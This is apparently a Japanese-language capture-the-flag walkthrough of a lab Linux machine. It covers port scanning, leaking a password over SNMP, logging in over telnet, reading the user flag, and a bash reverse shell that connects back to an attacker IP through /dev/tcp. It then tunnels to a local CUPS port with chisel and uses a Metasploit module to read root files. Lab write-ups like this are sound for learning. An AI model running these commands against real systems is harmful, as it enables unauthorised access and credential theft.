すっかりはまってしまった。。。ハッカーまで行けてしまった。。。
気を取り直して今回のmachineはuntiqueでOSはlinuxですね～
enum
rustscan
rustscan -a 10.10.11.107 --ulimit 5000 -- -sV -A -oN rustscan.txt
telnet
スキャン結果でtelnetであることが判明 早速繋いでいく..!
telnet 10.10.11.107
ただpasswordがわからないのでhydraでブルートフォースを仕掛けてもいいですがまだUDP側のポートスキャンを見てないので見てから考えます。
丁度1つ空いていて調べると以下のサイトが参考にできそう。。。
snmpget -v 1 -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
デコードしてパスワードをゲットできた...!!
再びtelnet
USER
うまくいったのでwebshellに似たものが実行できるみたいです。。(これの本当の名前わかりません...)
ここからuserのflagを得られて第一目標達成!!
exec cat /home/lp/user.txt
ROOT
reverse shell
reverse shellは以下のサイトで生成してくれるので楽
https://www.revshells.com/
exec /bin/bash -i >& /dev/tcp/10.10.16.7/10001 0>&1
enum
色々列挙してみると気になるもの発見
netstat -tulpn
接続先として
tcp 127.0.0.1:23 -> telnet
udp 127.0.0.1:161 -> snmp
tcp 127.0.0.1:631 -> ?
631番は何のポートフォワーディングになるのか...
chisel
通常ポート22番が開通しているためssh のローカルフォワードで解決するが今回はポート22 番が閉じているためchiselというものを使う
https://github.com/jpillora/chisel
二つ攻撃側、被害者側二つにchiselを用意して(wget,git clone etc...)以下を実行
victim side
./chisel client 10.10.16.7:8000 R:631:127.0.0.1:631
attacker side
./chisel server -p 8000 --reverse
CUPS
shielでトンネルを作った後にnmapで確認するとcupsというサービスが出てきた。
cupsには以下の脆弱性をついたmetasploitのコードあるので利用する
https://www.infosecmatter.com/post-exploitation-metasploit-modules-reference/
今回はsessionが必要みたい。。。
もう一つshellを立てつつmetasploitのhandlerにreverse shellを張る
実際にshadowファイルは読み込めているので/root/root.txtを直接狙っていきます。
pwned!!!
